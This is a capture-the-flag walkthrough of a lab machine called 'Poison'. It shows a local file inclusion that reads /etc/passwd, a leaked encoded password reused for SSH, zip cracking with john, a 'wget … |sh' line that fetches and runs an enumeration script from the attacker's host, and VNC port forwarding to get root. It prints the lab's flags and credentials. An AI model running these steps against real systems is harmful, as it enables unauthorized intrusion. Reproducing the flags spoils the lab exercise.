Poison
Recon
HTTP (80)

└─$ curl http://10.129.1.254/browse.php?file=listfiles.php
Array
(
[0] => .
[1] => ..
[2] => browse.php
[3] => index.php
[4] => info.php
[5] => ini.php
[6] => listfiles.php
[7] => phpinfo.php
[8] => pwdbackup.txt
)
└─$ curl http://10.129.1.254/browse.php?file=pwdbackup.txt
This password is secure, it's encoded atleast 13 times.. what could go wrong really..
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=

Password:
Charix!2#4%6&8(0
The applications allows including files, so it's vulnerable to LFI.
└─$ curl http://10.129.1.254/browse.php?file=../../../../../../etc/passwd -s | grep sh$
root:*:0:0:Charlie &:/root:/bin/csh
charix:*:1001:1001:charix:/home/charix:/bin/csh
SSH (22)
Creds:
charix:Charix!2#4%6&8(0
└─$ ssh charix@10.129.1.254
charix@Poison:~ % id
uid=1001(charix) gid=1001(charix) groups=1001(charix)
User.txt
charix@Poison:~ % cat user.txt
eaacdfb2d141b72a589233063604209c
Privilege Escalation
charix@Poison:~ % unzip secret.zip -d secret
Archive: secret.zip
extracting: secret/secret |
unzip: Passphrase required for this entry
---
└─$ scp charix@10.129.1.254:secret.zip .
└─$ zip2john secret.zip | tee secret.hash
ver 2.0 secret.zip/secret PKZIP Encr: cmplen=20, decmplen=8, crc=77537827 ts=9827 cs=7753 type=0
secret.zip/secret:$pkzip$1*1*2*0*14*8*77537827*0*24*0*14*7753*8061b9caf8436874ad47a9481863b54443379d4c*$/pkzip$:secret:secret.zip::secret.zip
John is unsuccessful
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt .\hashes
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 DONE (2024-11-26 22:46) 0g/s 6829Kp/s 6829Kc/s 6829KC/s !joley08!..♦*♥7¡Vamos!♥
Session completed
Trying the user's password is successful
└─$ unzip -d secret -P 'Charix!2#4%6&8(0' secret.zip
Archive: secret.zip
extracting: secret/secret
└─$ cd secret
└─$ file secret
secret: Non-ISO extended-ASCII text, with no line terminators
└─$ ls -alh
Permissions Size User Date Modified Name
.r--r--r-- 8 woyag 24 Jan 2018 secret
└─$ xxd secret
00000000: bda8 5b7c d596 7a21 ..[|..z!
Nothing usable for now, let's enumerate further.
charix@Poison:~ % wget 10.10.14.99/lp.sh -O-|sh|tee /tmp/lp.log
...
╔══════════╣ PATH
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses
/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/home/charix/bin
...
╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
╚════════════════════════════════════════════════╝
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
...
root 620 0.0 0.5 56320 5396 - S 19:34 0:00.59 /usr/local/bin/vmtoolsd -c /usr/local/share/vmware-tools/tools.conf -p /usr/local/lib/open-vm-tools/plugins/vmsvc
...
root 608 0.0 0.9 23620 8868 v0- I 19:34 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
root 621 0.0 0.7 67220 7064 v0- I 19:34 0:00.01 xterm -geometry 80x24+10+10 -ls -title X Desktop
charix 2319 0.0 0.3 21208 2668 1 R+ 19:55 0:00.00 ps fauxwww
...
╔══════════════════════╗
═════════════════════════════╣ Software Information ╠═════════════════════════════
╚══════════════════════╝
╔══════════╣ Useful software
/usr/bin/fetch
/usr/bin/gdb
/usr/bin/make
/usr/bin/nc
/usr/local/bin/ncat
/usr/local/bin/perl
/usr/local/bin/php
/sbin/ping
/usr/local/bin/python
/usr/local/bin/python2
/usr/local/bin/python2.7
/usr/local/bin/ruby
/usr/local/bin/wget
/usr/local/bin/xterm
...
charix@Poison:~ % netstat -a
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 44 10.129.1.254.ssh 10.10.14.99.41048 ESTABLISHED
tcp4 0 0 10.129.1.254.http 10.10.14.99.37394 FIN_WAIT_2
tcp4 0 0 localhost.smtp *.* LISTEN
tcp4 0 0 *.http *.* LISTEN
tcp6 0 0 *.http *.* LISTEN
tcp4 0 0 *.ssh *.* LISTEN
tcp6 0 0 *.ssh *.* LISTEN
tcp4 0 0 localhost.5801 *.* LISTEN
tcp4 0 0 localhost.5901 *.* LISTEN
udp4 0 0 *.syslog *.*
udp6 0 0 *.syslog *.*
The VNC service is odd to see, especially as root. The secret file could be vnc password file.
Port forward first
└─$ ssh charix@10.129.1.254 -L 5901:0:5901
└─$ vncviewer localhost:5901 -passwd secret

Root.txt
# cat root.txt
716d04b188419cf2bb99d891272361f5
Last updated